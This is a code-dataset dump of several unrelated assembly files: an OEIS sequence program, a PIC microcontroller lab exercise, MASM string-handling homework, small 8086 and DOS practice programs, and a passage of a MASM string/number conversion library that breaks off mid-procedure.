] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/140/A140413.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/140/A140413.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A140413: a(2n) = A000045(6n) + 1, a(2n+1) = A000045(6n+3) - 1.
; Submitted by Jamie Morken(s4)
; 1,1,9,33,145,609,2585,10945,46369,196417,832041,3524577,14930353,63245985,267914297,1134903169,4807526977,20365011073,86267571273,365435296161,1548008755921,6557470319841,27777890035289,117669030460993,498454011879265,2111485077978049,8944394323791465,37889062373143905,160500643816367089,679891637638612257,2880067194370816121,12200160415121876737,51680708854858323073,218922995834555169025,927372692193078999177,3928413764606871165729,16641027750620563662097,70492524767089125814113
mov $1,1
lpb $0
sub $0,1
mov $2,$3
mul $3,4
add $3,$1
mov $1,$2
lpe
mov $0,$3
div $0,2
mul $0,4
add $0,1
| 41.176471 | 486 | 0.804286 |
4e0cf10ba62a61bbde206ff0ae503fbef4c0c6dc | 1,953 | asm | Assembly | Microcontroller_Lab/Lab_6/Lab_6/Read_Code_With_Comments.asm | MuhammadAlBarham/pic16f778_projects | c12e15e48a62cd16f869cbe9411728a4eea8f499 | [
"MIT"
] | null | null | null | Microcontroller_Lab/Lab_6/Lab_6/Read_Code_With_Comments.asm | MuhammadAlBarham/pic16f778_projects | c12e15e48a62cd16f869cbe9411728a4eea8f499 | [
"MIT"
] | null | null | null | Microcontroller_Lab/Lab_6/Lab_6/Read_Code_With_Comments.asm | MuhammadAlBarham/pic16f778_projects | c12e15e48a62cd16f869cbe9411728a4eea8f499 | [
"MIT"
] | null | null | null | Include "p16F84A.inc"
; ----------------------------------------------------------
; General Purpose RAM Assignments
; ----------------------------------------------------------
cblock 0x0C
Counter
Endc
; ----------------------------------------------------------
; Macro Definitions
; ----------------------------------------------------------
Read_EEPROM macro
Bcf STATUS, RP0 ;Go to Bank 0
Clrf EEADR ;Clear EEADR (EEADR=0)
Bsf STATUS, RP0 ;Go to Bank 1
Bsf EECON1, RD ;Begin Read
Bcf STATUS, RP0 ;Go to Bank 0
Endm
; ----------------------------------------------------------
; Vector definition
; ----------------------------------------------------------
org 0x000
nop
goto Main
INT_Routine org 0x004
goto INT_Routine
; ----------------------------------------------------------
; The main Program
; ----------------------------------------------------------
Main
Read_EEPROM
Clrf Counter ;Clear the counter
Bsf STATUS, RP0 ;Go to Bank 1
Clrf TRISB ;Make PORTB as OUTPUT
Bcf STATUS, RP0 ;Go to BANK 0
Movlw A'H' ;Move Character to W-Reg
Subwf EEDATA,w ;Check If the first char. is H
Btfsc STATUS,Z ;If Yes goto finish
Goto Finish
Incf Counter,f
Movlw A'M'
Subwf EEDATA,w
Btfsc STATUS,Z
Finish
Incf Counter,f
Call Look_Up
Movwf PORTB
Loop
Goto Loop
; ----------------------------------------------------------
; Sub Routine Definitions
; ----------------------------------------------------------
;This Look_Up table for 7-Seg. Display
Look_Up
Movf Counter,w
Addwf PCL,f
Retlw B'00111111' ; Number 0
Retlw B'00000110' ; Number 1
Retlw B'01011011' ; Number 2
Retlw B'01001111' ; Number 3
Retlw B'01100110' ; Number 4
Retlw B'01101101' ; Number 5
end
| 29.149254 | 61 | 0.410138 |
8b28a41849148096a6ffac4bb8e559a93375d4c0 | 2,013 | asm | Assembly | HW_Example/h701.asm | smallru8/smallMasmLib | 5c6e525a9867ecf82fa0db98d0a46c8b00c1ec74 | [
"BSD-3-Clause"
] | null | null | null | HW_Example/h701.asm | smallru8/smallMasmLib | 5c6e525a9867ecf82fa0db98d0a46c8b00c1ec74 | [
"BSD-3-Clause"
] | null | null | null | HW_Example/h701.asm | smallru8/smallMasmLib | 5c6e525a9867ecf82fa0db98d0a46c8b00c1ec74 | [
"BSD-3-Clause"
] | null | null | null | TITLE (.asm)
INCLUDE Irvine32.inc
INCLUDE Macros.inc
.data
MAX = 100
string1 BYTE MAX+1 DUP(0)
string2 BYTE MAX+1 DUP(0)
.code
main PROC
LOCAL ediLen:DWORD
mWrite "Destination string : "
mov edx,OFFSET string1
mov ecx,MAX
call ReadString
mov edi,OFFSET string1
mov esi,edi
call strlen
mov ediLen,eax
mWrite "Search string : "
mov edx,OFFSET string2
mov ecx,MAX
call ReadString
mov esi,OFFSET string2
call strstr
mWrite "Search result : "
.IF eax > ediLen
mWrite "NO found."
.ELSE
mWrite "OK."
.ENDIF
call crlf
mWrite "Append string : "
mov edx,OFFSET string2
mov ecx,MAX
call ReadString
mov edi,OFFSET string1
mov esi,OFFSET string2
call strcat
mov edx,edi
mWrite "After appending : "
call WriteString
call crlf
exit
main ENDP
;====================
;在字串1中搜尋字串2
;輸入 edi : 字串1
;輸入 esi : 字串2
;輸出 eax : 在字串1的位置
;====================
strstr PROC USES ecx
LOCAL esiPtr:DWORD
LOCAL ediPtr:DWORD
LOCAL esiLen:DWORD
LOCAL ediLen:DWORD
mov esiPtr,esi
mov ediPtr,edi
call strlen
inc eax;加上null byte
mov esiLen,eax
xchg esi,edi
call strlen
inc eax;加上null byte
mov ediLen,eax
xchg esi,edi
mov eax,0
L1:
cmp eax,ediLen
jg Return
cld
mov ecx,esiLen
repe cmpsb
cmp ecx,0
je Return
inc eax
mov edi,ediPtr
mov esi,esiPtr
add edi,eax
jmp L1
Return:
mov edi,ediPtr
mov esi,esiPtr
ret
strstr ENDP
;====================
;取得字串長度
;輸入 esi : 字串
;輸出 eax : 字串長度
;====================
strlen PROC USES edi
mov edi,esi
mov eax,0
L1:
cmp BYTE PTR [edi],0
je Return
inc edi
inc eax
jmp L1
Return:
ret
strlen ENDP
;====================
;將字串2接在字串1後面
;輸入 edi : 字串1
;輸入 esi : 字串2
;====================
strcat PROC USES eax ecx
push edi
push esi
xchg esi,edi
call strlen
xchg esi,edi
add edi,eax
call strlen
mov ecx,eax
inc ecx;加上null byte
cld
rep movsb
pop esi
pop edi
ret
strcat ENDP
END main | 15.022388 | 32 | 0.61997 |
9a60a815ef63ff84d14c504b0235283b8f3b39b5 | 298 | asm | Assembly | Practice/Assignments assembly class/7.asm | WardunIslam/CSE331L_Section_7_Summer_2020_NSU | 4f36bf223c44afd2233a243a2f8ba92df18f5545 | [
"MIT"
] | null | null | null | Practice/Assignments assembly class/7.asm | WardunIslam/CSE331L_Section_7_Summer_2020_NSU | 4f36bf223c44afd2233a243a2f8ba92df18f5545 | [
"MIT"
] | null | null | null | Practice/Assignments assembly class/7.asm | WardunIslam/CSE331L_Section_7_Summer_2020_NSU | 4f36bf223c44afd2233a243a2f8ba92df18f5545 | [
"MIT"
] | null | null | null | org 100h
L1: NOP
L2: MOV AX, 0F000H
MOV DS, AX
MOV BX, 0FFFFH
MOV AL, BYTE PTR DS:[BX]
L3: MOV CX, 00000H
MOV DS, CX
MOV BX, 00000H
MOV AH, BYTE PTR DS:[BX]
L4: SUB AL, AH
L5: JNS L7
L6: OUT 00H, AL
JMP L8
L7: MOV DX, 0FFFFH
OUT DX, AL
L8: HLT
ret | 11.037037 | 28 | 0.553691 |
46916c429d10fcf808b4277d88f60c7223cdd906 | 972 | asm | Assembly | Data/INPUT_ADD.asm | Anikcb/Microprocessor | b17c805dce1b09c0a12f05c3f0014a5d40c2ed53 | [
"MIT"
] | null | null | null | Data/INPUT_ADD.asm | Anikcb/Microprocessor | b17c805dce1b09c0a12f05c3f0014a5d40c2ed53 | [
"MIT"
] | null | null | null | Data/INPUT_ADD.asm | Anikcb/Microprocessor | b17c805dce1b09c0a12f05c3f0014a5d40c2ed53 | [
"MIT"
] | null | null | null |
.Model Small
.Stack 100h
.Data
.Code
main Proc
MOV ax, @data
MOV ds, ax
MOV AH, 1
INT 21h
MOV bl, al
SUB bl, 48
MOV AH, 2
MOV DL, 10
INT 21H
MOV AH, 2
MOV DL, 13
INT 21H
MOV AH, 1
INT 21h
MOV bh, al
SUB BH, 48
ADD bl, bh
;SUB bl, 60
MOV AH, 2
MOV DL, 10
INT 21H
MOV AH, 2
MOV DL, 13
INT 21H
mov CX, 8
PRINT: MOV AL, 2
MOV DL, '0'
TEST BL, 10000000b
JZ Zero
mov DL, '1'
Zero: INT 21h
SHL BL, 1
LOOP PRINT
MOV AH, 2
MOV DL, 'b'
INT 21H
Exit:
MOV AH, 4ch
INT 21h
main ENDP
END main
| 11.302326 | 30 | 0.328189 |
711912d573a740c198ece8f9b9df292358a5ea86 | 64,830 | asm | Assembly | src/strcvtf.asm | majioa/faststring | ec42f805116940b8effa0a3adc0db82318b540de | [
"MIT"
] | 1 | 2021-01-16T08:11:27.000Z | 2021-01-16T08:11:27.000Z | src/strcvtf.asm | majioa/faststring | ec42f805116940b8effa0a3adc0db82318b540de | [
"MIT"
] | null | null | null | src/strcvtf.asm | majioa/faststring | ec42f805116940b8effa0a3adc0db82318b540de | [
"MIT"
] | null | null | null | .386
.model flat
include constant.inc
PUBLIC @FastString@$oo$xqqrv
PUBLIC @FastString@$oc$xqqrv
PUBLIC @FastString@$ozc$xqqrv
PUBLIC @FastString@$ouc$xqqrv
PUBLIC @FastString@$os$xqqrv
PUBLIC @FastString@$ous$xqqrv
PUBLIC @FastString@$oi$xqqrv
PUBLIC @FastString@$ol$xqqrv
PUBLIC @FastString@$oui$xqqrv
PUBLIC @FastString@$oul$xqqrv
PUBLIC @FastString@$oj$xqqrv
PUBLIC @FastString@$ouj$xqqrv
PUBLIC @FastString@$of$xqqrv
PUBLIC @FastString@$od$xqqrv
PUBLIC @FastString@$og$xqqrv
PUBLIC @FastString@$opv$xqqrv
PUBLIC @FastString@$opb$qqrv
PUBLIC @FastString@$opc$qqrv
PUBLIC @FastString@$o17System@AnsiString$qqrv
PUBLIC @FastString@$o17System@WideString$qqrv
PUBLIC @FastString@ConvertTo$qqrul
PUBLIC @FastString@SetCodePage$qqrul
PUBLIC Floating_point_symbol
PUBLIC Positive_sign_symbol
PUBLIC Negative_sign_symbol
EXTRN decimal_constant:dword
; EXTRN GetDecimalSeparator:near
; EXTRN GetPositiveSign:near
; EXTRN GetNegativeSign:near
; PUBLIC StringBufferSize
; PUBLIC StringCopy
; PUBLIC OleStrBufferSize
; PUBLIC OleStrCopy
; PUBLIC ToString
; PUBLIC ToOleStr
PARAMETER_SYMBOL = 1
FUNCTION_SYMBOL = 2
;MINUS_SIGN = 80h
POS_VALUE = 40h
NEG_VALUE = 80h
;HEX_SIGN = 40h
FLOAT_VALUE = 1
EXP_VALUE = 2
HEX_VALUE = 3
OCTAL_VALUE = 4
BIN_VALUE = 5
;POSTFIX_FLAG = 1
SIGN_FLAG = 1
FLOAT_DOT_FLAG = 2
SEPARATOR_FLAG = 4
MODE_FLAG = 8
EXP_FLAG = 16
NUMBER_FLAG = 32
MODE_ZERO_FLAG = 64
ZERO_FLAG = 128
;CHECKSYMVALUE union
;Function dd ?
;Symbol dw ?
;CHECKSYMVALUE ends
;CHECKSYMBOL struc
;Symbol db ?
;Value CHECKSYMVALUE ?
;Value dd ?
;ExitCode db ?
;Flag db ?
;CHECKSYMBOL ends
SYMBOL struc
Byte db ? ;Symbol 8 bit
Byte_ru db ? ;Symbol 8 bit russian
Word db ? ;Symbol 16 bit
Rutf db ? ;Symbol Rutf
SYMBOL ends
CHECKSYMBOL struc
Ptr dd ? ;ptr to symbol for check
Value db ? ;value of symbol
SymType db ? ;type of symbol
Mask db ? ;mask allowing following symbols
Degree db ? ;degree of divider
CHECKSYMBOL ends
RUSSIAN_CP_COUNT = 6
.code
GetStrLenForConvert proc near
ConvertInit:
;in
;esi: buffer
;ecx: maximum strlen
;ebp: -1: signed value, 1: unsigned value
;out
;ecx: number length
;ebp: sign
;edx: destroyed
;ebx: 1
;df: true
;edi: 0
;eax: 0: end of string found, 1: floating point found
stc
rcl ebp, 1
xor ebx, ebx
push ecx
; call GetNegativeSign
cmp al, [esi]
jz short GetStrLenForConvert_loop1
GetStrLenForConvert_plus:
dec ebp
; call GetPositiveSign
cmp al, [esi]
jnz short GetStrLenForConvert_loop2
GetStrLenForConvert_loop1:
inc esi
GetStrLenForConvert_loop2:
; call GetDecimalSeparator
mov edx, eax
pop ecx
GetStrLenForConvert_loop:
lodsb
or al, al
jz short GetStrLenForConvert_loop_exit2
cmp al, 'e'
jz short GetStrLenForConvert_loop_exit
cmp al, 'E'
jz short GetStrLenForConvert_loop_exit
cmp al, dl
jz short GetStrLenForConvert_loop_exit1
cmp al, '9'
ja short GetStrLenForConvert_error
cmp al, '0'
jb short GetStrLenForConvert_error
GetStrLenForConvert_next:
inc ch
cmp cl, ch
jb short GetStrLenForConvert_error
jmp short GetStrLenForConvert_loop
GetStrLenForConvert_loop_exit:
inc ebx
GetStrLenForConvert_loop_exit1:
inc ebx
; xor eax, eax
; inc eax
; jmp short GetStrLenForConvert_loop_exit2
GetStrLenForConvert_loop_exit2:
; xor eax, eax
;GetStrLenForConvert_loop_exit3:
mov eax, ebx
xchg cl, ch
xor ch, ch
pushf
or byte ptr[esp+1], 4
popf
sub esi, 2
xor ebx, ebx
mov edi, ebx
inc ebx
ret
GetStrLenForConvert_error:
stc
ret
GetStrLenForConvert endp
InitFloatConvert proc near
ret
InitFloatConvert endp
StringToFloat proc near
;in
;eax: input string
;st(0): default value
pushf
push ebx
push esi
push edi
push ebp
mov esi, eax
xor eax, eax
sub esp, 12*4+4
lea ebp, [esp+12*4+4-12]
mov ecx, 3
StringToFloat_loop:
push ecx
push ebp
pushf
mov cl, 20
call ConvertInit
jnc short StringToFloat_init_ok
or eax, eax
jz short StringToFloat_error1
StringToFloat_init_ok:
push eax
call QwordConvert
pop ebx
jc short StringToFloat_error1
popf
pop ebp
mov [ebp],eax
mov [ebp+4],edx
mov [ebp+8],ecx
sub ebp, 12
pop ecx
mov [esp+ecx+12*4-1], bl
or ebx, ebx
loopz short StringToFloat_loop
jnz short StringToFloat_pop_exit
mov cl, 2
lea ebp, [esp+12*3]
fld qword ptr[ebp]
xor ebx, ebx
StringToFloat_loop1:
sub ebp, 12
mov bl, [esp+ecx+12*4-1]
or ebx, ebx
jz short StringToFloat_loop1_exit
dec ebx
jnz short StringToFloat_loop1_exp
fild qword ptr[ebp]
fild dword ptr[ebp+8]
fldl2t
fmulp
f2xm1
fdivp
faddp
jmp short StringToFloat_loop1_next
StringToFloat_loop1_exp:
fld qword ptr[ebp]
fscale
StringToFloat_loop1_next:
loop short StringToFloat_loop1
StringToFloat_loop1_exit:
;StringToFloat_pop_exit1:
; pop edx
; pop eax
ffree st(1)
StringToFloat_pop_exit:
add esp, 12*4+4
pop ebp
pop edi
pop esi
pop ebx
popf
ret
StringToFloat_error1:
popf
pop ebp
pop ecx
jmp short StringToFloat_pop_exit
;StringToFloat_floating_point:
; mov esi, eax
; mov ecx, 10
; call InitFloatConvert
; jc StringToInt_error
;StringToFloat_loop1:
; xor eax, eax
; lodsb
; sub al, '0'
; mul ebx
; or edx, edx
; jnz StringToInt_error
; add edi, eax
; dec ecx
; jecxz short StringToFloat_loop1_exit
; mov eax, 10
; mul ebx
; mov ebx, eax
; jmp short StringToFloat_loop1
;StringToFloat_loop1_exit:
; mov eax, edi
; or ebp, ebp
; jz short StringToInt_pop_exit
; neg eax
; jns short StringToInt_error;///??? comp to 0????
; jmp short StringToInt_pop_exit
StringToFloat endp
StringToQword proc near
;in
;eax: input string
;edx: ecx: default value
pushf
push ebx
push esi
push edi
push ebp
push edx
push ecx
mov esi, eax
mov ecx, 20
call ConvertInit
jc short StringToQword_pop_exit
call QwordConvert
jc short StringToQword_pop_exit
mov [esp], eax
mov [esp+4], edx
StringToQword_pop_exit:
pop eax
pop edx
pop ebp
pop edi
pop esi
pop ebx
popf
ret
StringToQword endp
StringToInt proc near
;in
;eax: input string
;edx: default value
pushf
push ebx
push esi
push edi
push edx
mov esi, eax
mov ecx, 10
call ConvertInit
jc short StringToInt_error
StringToInt_loop1:
xor eax, eax
lodsb
sub al, '0'
mul ebx
or edx, edx
jnz short StringToInt_error
add edi, eax
dec ecx
jecxz short StringToInt_loop1_exit
mov eax, [decimal_constant]
mul ebx
mov ebx, eax
jmp short StringToInt_loop1
StringToInt_loop1_exit:
mov eax, edi
test ebp, eax
js short StringToInt_error;///??? comp to 0????
shr ebp, 1
jnc short StringToInt_pop_exit
neg eax
jns short StringToInt_error;///??? comp to 0????
StringToInt_pop_exit:
mov [esp], eax
StringToInt_error:
pop eax
pop edi
pop esi
pop ebx
popf
ret
StringToInt endp
StringToWord proc near
;in
;eax: input string
;edx: default value
push esi
push edx
mov esi, eax
mov ecx, 5
call ConvertInit
jc short StringToWord_error
StringToWord_loop1:
xor eax, eax
lodsb
sub al, '0'
mul bx
or dx, dx
jnz short StringToWord_error
add di, ax
dec ecx
jecxz short StringToWord_loop1_exit
mov eax, [decimal_constant]
mul ebx
mov ebx, eax
jmp short StringToWord_loop1
StringToWord_loop1_exit:
mov ax, di
test bp, ax
js short StringToWord_error;///??? comp to 0????
shr ebp, 1
jnc short StringToWord_pop_exit
neg ax
jns short StringToWord_error;///??? comp to 0????
StringToWord_pop_exit:
mov [esp], eax
StringToWord_error:
pop eax
pop esi
ret
StringToWord endp
StringToByte proc near
;in
;eax: input string
;edx: default value
push esi
push edx
mov esi, eax
mov ecx, 3
call ConvertInit
jc short StringToWord_error
xor eax, eax
StringToByte_loop1:
lodsb
sub al, '0'
mul bl
or ah, ah
jnz short StringToWord_error
add edi, eax
dec ecx
jecxz short StringToByte_loop1_exit
mov al, byte ptr[decimal_constant]
mul bl
mov bl, al
jmp short StringToByte_loop1
StringToByte_loop1_exit:
mov eax, edi
mov ebx, ebp
test bl, al
js short StringToWord_error;///??? comp to 0????
shr ebp, 1
jnc StringToWord_pop_exit
neg al
jns StringToWord_error;///??? comp to 0????
jmp StringToWord_pop_exit
StringToByte endp
;convert long values
;ftol proc near
; fstcw [flags]
; mov al,byte ptr[flags+1]
; or byte ptr[flags+1],0ch
; fldcw [flags]
; fistp qword ptr[temp]
; mov byte ptr[flags+1],al
; fldcw [flags]
; mov eax, [temp]
; mov edx, [temp+4]
; ret
;ftol endp
;ftoqw proc near
; fstcw [flags]
; mov al,byte ptr[flags+1]
; or byte ptr[flags+1],0ch
; fldcw [flags]
; fistp qword ptr[temp]
; mov byte ptr[flags+1],al
; fldcw [flags]
; mov eax, [temp]
; mov edx, [temp+4]
; ret
;ftoqw endp
QwordConvert proc near
push ecx
push ebp
xor eax, eax
inc eax
push eax
dec eax
push eax
QwordConvert_loop:
xor eax, eax
lodsb
sub al, '0'
mov ebx, eax
mul dword ptr [esp+4]
push eax
push edx
mov eax, ebx
mul dword ptr [esp+8]
or edx, edx
jnz short QwordConvert_error2
add [esp], eax
pop edx
pop eax
add edi, eax
adc ebp, edx
jc short QwordConvert_error1
dec ecx
jecxz short QwordConvert_loop_exit
pop ebx
pop eax
mul dword ptr [decimal_constant]
push eax
or ebx, ebx
jz short QwordConvert_significant_zero
push edx
mov eax, [decimal_constant]
mul ebx
add [esp], eax
jmp short QwordConvert_loop
QwordConvert_significant_zero:
push edx
jmp short QwordConvert_loop
QwordConvert_loop_exit:
pop eax
pop eax
mov eax, edi
mov edx, ebp
pop ebp
test ebp, edx
js short QwordConvert_error;///??? comp to 0????
shr ebp, 1
jnc short QwordConvert_pop_exit
not edx
not eax
inc eax
adc edx, 0
jns short QwordConvert_error;///??? comp to 0????
QwordConvert_pop_exit:
ret
QwordConvert_error2:
pop eax
pop eax
QwordConvert_error1:
pop eax
pop eax
pop ebp
pop ecx
QwordConvert_error:
stc
ret
QwordConvert endp
OleStrToString proc near
;in
;esi: ole string
;edi: string buffer
;out
;eax: destroyed
push esi
push edi
xor eax, eax
OleStrToString_loop:
lodsw
stosb
loop short OleStrToString_loop
pop edi
pop esi
ret
OleStrToString endp
StringToOleStr proc near
;in
;esi: string
;edi: ole string buffer
;out
;eax: destroyed
push esi
push edi
xor eax, eax
StringToOleStr_loop:
lodsb
stosw
loop short StringToOleStr_loop
pop edi
pop esi
ret
StringToOleStr endp
FloatToString proc near
;in
;st[0]: float number
;edi: string buffer
;out
;eax: destroyed
push eax
push edx
fxtract
fistp qword ptr[esp]
mov eax,[esp]
mov edx,[esp+4]
clc
call Int64ToString
fistp qword ptr[esp]
mov eax,[esp]
mov edx,[esp+4]
stc
call Int64ToString
pop eax
pop eax
ret
FloatToString endp
Int64ToString proc near
;in
;edx:eax: int64
;edi: string buffer
;out
;edx, eax: destroyed
push eax
mov al,'-'
rcl edx,1
jc short Int64ToString_sign
test edx,1
jz short Int64ToString_calc
mov al,'+'
Int64ToString_sign:
stosb
Int64ToString_calc:
shr edx,1
pop eax
jmp short Qword_cvt
Int64ToString endp
QwordToString proc near
;in
;edx:eax: qword
;edi: string buffer
;out
;edx, eax: destroyed
jnc QwordToString_calc
mov byte ptr[edi],'+'
inc edi
QwordToString_calc:
jmp short Qword_cvt
QwordToString endp
Qword_cvt proc near
push ebx
push eax
mov eax, edx
mov ebx, 10
Qword_cvt_loop1:
xor edx, edx
div ebx
or eax, eax
jz short Qword_cvt_loop1_exit
add edx, '0'
mov [edi],dl
inc edi
jmp short Qword_cvt_loop1
Qword_cvt_loop1_exit:
pop eax
Qword_cvt_loop2:
xor edx, edx
div ebx
add edx, '0'
mov [edi],dl
inc edi
or eax, eax
jnz short Qword_cvt_loop2
stosb
pop ebx
ret
Qword_cvt endp
;StringToQword proc near
;in
;esi: string
;out
;edx:eax: qword
; jnc QwordToString_calc
; mov byte ptr[edi],'+'
; inc edi
;StringToQword_calc:
; jmp short StrQword_cvt
;StringToQword endp
StrQword_cvt proc near
push ebx
push ecx
push esi
cmp byte ptr[esi],'-'
jnz short StrQword_cvt_1
mov ebx, 80000001h
jmp short StrQword_cvt_2
StrQword_cvt_1:
mov ebx, 1
cmp byte ptr[esi],'+'
jnz short StrQword_cvt_3
StrQword_cvt_2:
inc esi
StrQword_cvt_3:
xor edx,edx
mov ebx, 10
StrQword_search:
lodsb
cmp al,'0'
jb StrQword_search_exit
cmp al,'9'
jbe StrQword_search
mul ebx
StrQword_search_exit:
StrQword_loop1:
dec esi
xor eax,eax
mov al,[esi]
mul ebx
or edx,edx
jnz short StrQword_loop1_exit
add ecx,eax
mul ebx
jmp StrQword_loop1
StrQword_loop1_exit:
StrQword_cvt endp
OleStrBufferSize proc near
;in
;edi: ole string
;out
;edi, edx: destroyed
;eax: buffer size
xor eax, eax
xor ecx, ecx
dec ecx
repnz scasw
neg ecx
dec ecx
mov eax, ecx
shl eax, 1
ret
OleStrBufferSize endp
StringBufferSize proc near
;in
;edi: string
;out
;edi, edx: destroyed
;eax: buffer size
xor eax, eax
xor ecx, ecx
dec ecx
repnz scasb
neg ecx
dec ecx
mov eax, ecx
ret
StringBufferSize endp
StringCopy proc near
;in
;esi: source string
;edi: destination buffer
;out
;eax, esi, edi: destroyed
; push esi
; push edi
StringCopy_loop:
lodsb
stosb
or al,al
jnz short StringCopy_loop
; pop edi
; pop esi
ret
StringCopy endp
OleStrCopy proc near
;in
;esi: source ole string
;edi: destination buffer
;out
;eax, esi, edi: destroyed
; push esi
; push edi
xor eax,eax
OleStrCopy_loop:
lodsw
stosw
or eax, eax
jnz short OleStrCopy_loop
; pop edi
; pop esi
ret
OleStrCopy endp
ToString proc near
;in
;ebx: this
;out
;eax(al): bool value
;c=1 if error
;edi, esi: destroyed
mov cl,[ebx]
cmp cl, mvNull
jbe ToString_error
cmp cl, mvString
jz ToString_exit
; cmp cl, mvOleStr;??
ja ToString_error
jb short ToString_tochar
push esi
push edi
mov edi, [ebx+MATHVAR_VALUE]
call OleStrBufferSize
cmp eax,[ebx+MATHVAR_VALUE+4]
jbe ToString_strcopy
resize edi, eax
mov [ebx+MATHVAR_VALUE+4], eax
ToString_strcopy:
mov esi, edi
call OleStrToString
pop edi
pop esi
jmp short ToString_exit
ToString_tochar:
cmp cl, mvChar
jnz short ToString_toshort
ToString_char:
movsx eax, byte ptr[ebx+MATHVAR_VALUE]
jmp short ToString_IntCvt
ToString_toshort:
cmp cl, mvShortInt
jnz short ToString_toint
ToString_short:
movsx eax, word ptr[ebx+MATHVAR_VALUE]
jmp short ToString_IntCvt
ToString_toint:
cmp cl, mvInteger
jnz short ToString_toint64
ToString_int:
mov eax,[ebx+MATHVAR_VALUE]
jmp short ToString_IntCvt
ToString_toint64:
cmp cl, mvInt64
jnz short ToString_tofloat
mov eax,[ebx+MATHVAR_VALUE]
mov edx,[ebx+MATHVAR_VALUE+4]
jmp short ToString_IntCvt
ToString_tofloat:
cmp cl, mvFloat
jnz short ToString_todouble
fld dword ptr[ebx+MATHVAR_VALUE]
jmp short ToString_FloatCvt
ToString_todouble:
cmp cl, mvDouble
jnz short ToString_toextended
fld qword ptr[ebx+MATHVAR_VALUE]
jmp short ToString_FloatCvt
ToString_toextended:
cmp cl, mvExtended
jnz short ToString_WordCvt
fld tbyte ptr [ebx+MATHVAR_VALUE]
ToString_FloatCvt:
call FloatToString
jmp short ToString_exit
ToString_IntCvt:
xor edx, edx
call Int64ToString
jmp short ToString_exit
ToString_WordCvt:
mov eax,[ebx+MATHVAR_VALUE]
mov edx,[ebx+MATHVAR_VALUE+4]
call QwordToString
ToString_exit:
mov dword ptr [ebx+MATHVAR_ERROR], ERROR_SUCCESS
clc
ret
ToString_error:
mov dword ptr [ebx+MATHVAR_ERROR], ERROR_MATH_VARIANT_CANNOT_BE_CONVERTED_TO_STRING
stc
ret
ToString endp
;ToString proc near
;in
;[edx:]eax | st[0]: input value
;out
;eax: string
;ToString endp
ToOleStr proc near
ToOleStr endp
;----------------------------------------------------new functions----------------------------------------------------------
;---------------------------------------------------------------------------------------------------------------------------
;---------------------------------------------------------------------------------------------------------------------------
CheckString proc near
;in
;esi: input string buffer
;out
;c: error
;bl: value type
;dl: value sign
;esi: output string buffer
;ecx: length of string buffer
;temporary
;bl: plus sign
;bh: minus sign
;ah: floating point sign
xor edx, edx
xor ebp, ebp
xor edi, edi
push edx
push ebp
cmp ecx, 255
ja CheckString_error
mov ah, MODE_ZERO_FLAG OR ZERO_FLAG OR NUMBER_FLAG OR MODE_FLAG OR SEPARATOR_FLAG OR FLOAT_DOT_FLAG OR SIGN_FLAG OR EXP_FLAG
CheckString_loop:
call GetSymbol
test ah, MODE_ZERO_FLAG OR ZERO_FLAG
jz CheckString_1
cmp al, '0'
jz CheckString_next
;CheckString_zero_flg:
; test ah, ZERO_FLAG
; test ah, NUMBER_FLAG
; jz CheckString_1
; cmp al, '0'
; jnz CheckString_1
; jz CheckString_next
; or ebp, ebp
; jz CheckString_next
; jmp CheckString_inc_next
CheckString_1:
test ah, NUMBER_FLAG
jz CheckString_error
mov ebx, offset CheckRange
CheckString_1_1:
cmp byte ptr [ebx], 0
jz CheckString_2
cmp al, [ebx]
jb CheckString_1_2
cmp al, [ebx + 1]
jbe CheckString_inc_next
CheckString_1_2:
add ebx, 4
jmp CheckString_1_1
; cmp al, '1'
; jb CheckString_2
; cmp al, '9'
; ja CheckString_2
; mov edi, esi
; jmp CheckString_inc_next
; jbe CheckString_inc_next
CheckString_2:
test ah, MODE_FLAG OR FLOAT_DOT_FLAG OR SIGN_FLAG OR EXP_FLAG
jz CheckString_error
mov ebx, offset CheckTable - 5
CheckString_2_1:
add ebx, 5
cmp byte ptr [ebx.Symbol], 0
jz CheckString_separator
cmp al, [ebx.Symbol]
jnz CheckString_2_1
test ah, [ebx.Type]
jz CheckString_error
mov ch, [ebx.Degree]
mov dl, [ebx.Value]
and ah, [ebx.Mask]
or dh, dh
jns CheckString_2_2
shl edi, 8
mov dh, 0
CheckString_2_2:
inc edi
; or ah, [ebx.Mask]
; test dh, byte ptr[ebx.Mask]
; jnz CheckString_error
; test byte ptr[ebx.Flags], POSTFIX_FLAG
; jz CheckString_2_2
; or dh, byte ptr[ebx.Value]
jmp CheckString_next
;CheckString_2_2:
; mov dl, [ebx.Value]
; and ah, [ebx.Flags]
; jmp CheckString_next
CheckString_separator:
test ah, SEPARATOR_FLAG
jz CheckString_error
dec esi
jmp CheckString_exit
; dec bl
; jnz CheckString_2_1
; cmp al, ah
; jz CheckString_float_exit
; or ebp, ebp
; jnz CheckString_2_1
; cmp al, bh
; jz CheckString_next
; cmp al, bl
; jnz CheckString_3
; or dl, MINUS_SIGN
; jmp CheckString_next
;CheckString_2_1:
;CheckString_3:
; cmp al, 'e'
; jz CheckString_exp_exit
; cmp al, 'E'
; jz CheckString_exp_exit
; cmp al, 'h'
; jz CheckString_hex_exit
; cmp al, 'H'
; jz CheckString_hex_exit
; cmp al, 'q'
; jz CheckString_octal_exit
; cmp al, 'Q'
; jz CheckString_octal_exit
; cmp al, 'b'
; jz CheckString_bin_exit
; cmp al, 'B'
; jz CheckString_bin_exit
; cmp al, 'x'
; jz CheckString_set_hex
; cmp al, 'X'
; jnz CheckString_error
;CheckString_set_hex:
; or dl, HEX_SIGN
; jmp CheckString_next
CheckString_inc_next:
or dh, dh
js CheckString_inc_next_1
shl ebp, 8
not dh
CheckString_inc_next_1:
inc ebp
mov ch, [ebx+2]
and ah, NOT (MODE_ZERO_FLAG OR ZERO_FLAG)
;; mov [esp], ebx
CheckString_next:
; loop CheckString_loop
dec cl
jnz CheckString_loop
;; test dl, HEX_SIGN
;; jz CheckString_exit
;; mov dh, HEX_VALUE
CheckString_exit:
mov ecx, ebp
test dh, dh
js CheckString_clear_break_sym
shrd edi, eax, 8
shr eax, 24
sub esi, eax
CheckString_clear_break_sym:
; mov ecx, ebp
; lea esi, [edi - 1]
dec esi
pushfd
